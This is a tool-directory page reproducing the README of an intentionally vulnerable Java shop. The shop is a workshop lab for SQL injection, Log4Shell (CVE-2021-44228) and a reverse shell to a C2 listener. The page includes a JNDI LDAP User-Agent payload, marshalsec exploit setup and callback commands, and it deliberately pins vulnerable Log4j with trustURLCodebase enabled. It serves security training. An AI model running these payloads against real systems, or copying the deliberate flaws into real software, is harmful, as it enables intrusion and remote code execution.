Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
TraditionalJay — Intentionally vulnerable VM-hosted Java shop — Log4Shell (CVE-2021-44228) workshop lab (EC2 / Azure VM / GCE) | Kitploit
Tools/GitHubGitHub/astraljays/traditionaljay
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCloud SecurityCommand and ControlLearning & EducationLabs & Practice
GitHubastraljays/traditionaljay

TraditionalJay

Intentionally vulnerable VM-hosted Java shop — Log4Shell (CVE-2021-44228) workshop lab (EC2 / Azure VM / GCE)

364 months agoNot yet reviewed
View Repository
Share

TraditionalJay

Intentionally vulnerable classic / traditional shop for security workshops — Java on a VM (EC2, Azure VM, or GCP Compute Engine), not containers.

Primary story: Critical VM Compromise — SQL injection → Log4Shell (CVE-2021-44228) → reverse shell to external C2.

[!CAUTION] Do not deploy to production accounts. Keep VMs ephemeral and network-scoped to your lab.

Why this exists

Jay's Surf Shop covers cloud-native runtimes (ECS / ACA / GKE). TraditionalJay covers the host / VM lane:

Surf ShopTraditionalJay
ComputeContainers / serverlessSingle Linux VM
StackNext.js + PythonSpring Boot + Log4j2
Headline CVEPillow, React2Shell, YAML, …Log4Shell

Quick start (local)

cd app
mvn -DskipTests spring-boot:run
# open http://localhost:8080
# exploit lab: http://localhost:8080/security

Java 11+ and Maven required.

Critical VM Compromise

  1. SQL injection — string-concat SQLite on /search dumps a secrets table.
  2. Log4Shell — Log4j 2.14.1 JNDI LDAP lookup to your listener.
  3. Reverse shell → C2 — short-lived bash /dev/tcp dial to your C2 listener.
# listeners (reachable from the VM)
python3 tools/ldap-listen.py --port 1389
python3 tools/c2-listen.py --port 4444

# or open http://HOST:8080/security and click Run Critical VM Compromise
curl -s -X POST "http://HOST:8080/api/demo/critical-vm-compromise" \
  --data-urlencode "ldap_callback=YOUR_IP:1389" \
  --data-urlencode "c2_callback=YOUR_IP:4444" | jq .

Log4Shell — full RCE (sandbox)

Probe only (proves LDAP dial-out):

python3 tools/ldap-listen.py --port 1389

Full RCE (marshalsec LDAP + remote Exploit.class; VM runs with trustURLCodebase=true on purpose):

./tools/setup-marshalsec.sh
./tools/run-log4shell-ldap.sh --codebase-host YOUR_PUBLIC_IP

Then open /security, set LDAP callback to YOUR_PUBLIC_IP:1389, click Run Log4Shell. On success the VM gets /tmp/jss-log4shell-rce, /tmp/jss-log4shell-id.txt, and a ~45s interactive bash (PTY via script when available) for host-sensor demos.

You can also hit search with a crafted User-Agent:

curl -s "http://localhost:8080/search?q=wax" \
  -H 'User-Agent: ${jndi:ldap://127.0.0.1:1389/a}' -o /dev/null

Upwind host sensor (first boot)

Pass Upwind credentials via local terraform.tfvars (gitignored). Cloud-init exports them and scripts/install-vm.sh runs scripts/install-upwind-sensor.sh.

Memory: scanner-v2=true needs ~7 GiB free RAM at install time (not disk). Default AWS Terraform uses t3.large (8 GiB) + 40 GiB gp3 root so the scanner is not skipped (Skipping scanner installation, requires 7000000 kB on smaller instances).

curl -s https://get.upwind.io/sensor.sh | \
  UPWIND_CLIENT_ID=… \
  UPWIND_CLIENT_SECRET=… \
  UPWIND_AGENT_EXTRA_CONFIG="scanner-v2=true" \
  bash -s

AWS example infrastructure/aws/terraform.tfvars:

upwind_client_id          = "…"
upwind_client_secret      = "…"
upwind_agent_extra_config = "scanner-v2=true"

If creds are empty, the app still installs and the sensor step is skipped.

CI

GitHub Actions workflow .github/workflows/build.yml:

  • push / PR / manual → Maven package + upload JAR artifact
  • tag v* → GitHub Release with the fat JAR

VMs prefer the latest Release JAR via scripts/install-vm.sh, and fall back to an on-box Maven build if no release exists yet. The installer then explodes the fat JAR under /opt/traditionaljay/BOOT-INF/lib/ and runs JarLauncher, so host/agentless SCA can see log4j-core-2.14.1.jar on disk (running only java -jar app.jar nests Log4j inside a zip and often hides CVE-2021-44228 from package inventory).

# cut a release (triggers JAR publish)
git tag v0.1.0 && git push origin v0.1.0

Deploy to a cloud VM

Each cloud folder is standalone Terraform. First boot runs scripts/install-vm.sh (OpenJDK 11 + Release JAR or Maven build + systemd).

AWS (EC2)

cd infrastructure/aws
terraform init
terraform apply
terraform output application_url

Azure (VM)

cd infrastructure/azure
terraform init
terraform apply -var="ssh_public_key=$(cat ~/.ssh/id_rsa.pub)"
terraform output application_url

GCP (Compute Engine)

cd infrastructure/gcp
terraform init
terraform apply -var="project_id=YOUR_PROJECT"
terraform output application_url

First boot takes a few minutes while Maven builds on the instance. Then open http://PUBLIC_IP:8080/security.

Layout

app/                     Spring Boot shop + /security Log4Shell UI
tools/ldap-listen.py     Banner-only LDAP listener (dial-out proof)
tools/run-log4shell-ldap.sh  Full RCE LDAP + HTTP codebase server
tools/exploit/Exploit.java   Remote class payload for marshalsec
scripts/install-vm.sh    Cloud-init / manual VM installer
infrastructure/aws|azure|gcp

Safety notes

  • Demo path uses marshalsec LDAPRefServer + tools/exploit/Exploit.class for real Log4Shell RCE in isolated sandboxes.
  • JVM flag -Dcom.sun.jndi.ldap.object.trustURLCodebase=true is intentional (disabled by default on Java 11+).
  • Banner-only ldap-listen.py remains for LDAP dial-out proof without code execution.
  • Default firewalls allow 0.0.0.0/0 on 22/8080 — tighten *_ingress_cidr / source ranges for shared labs.
  • Pin stays on Log4j 2.14.1 on purpose. Do not “fix” it without replacing the exercise.
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    786
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    506
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    429
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    262
  • 6

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    256

Explore all tools

Browse our collection of tools

View all tools →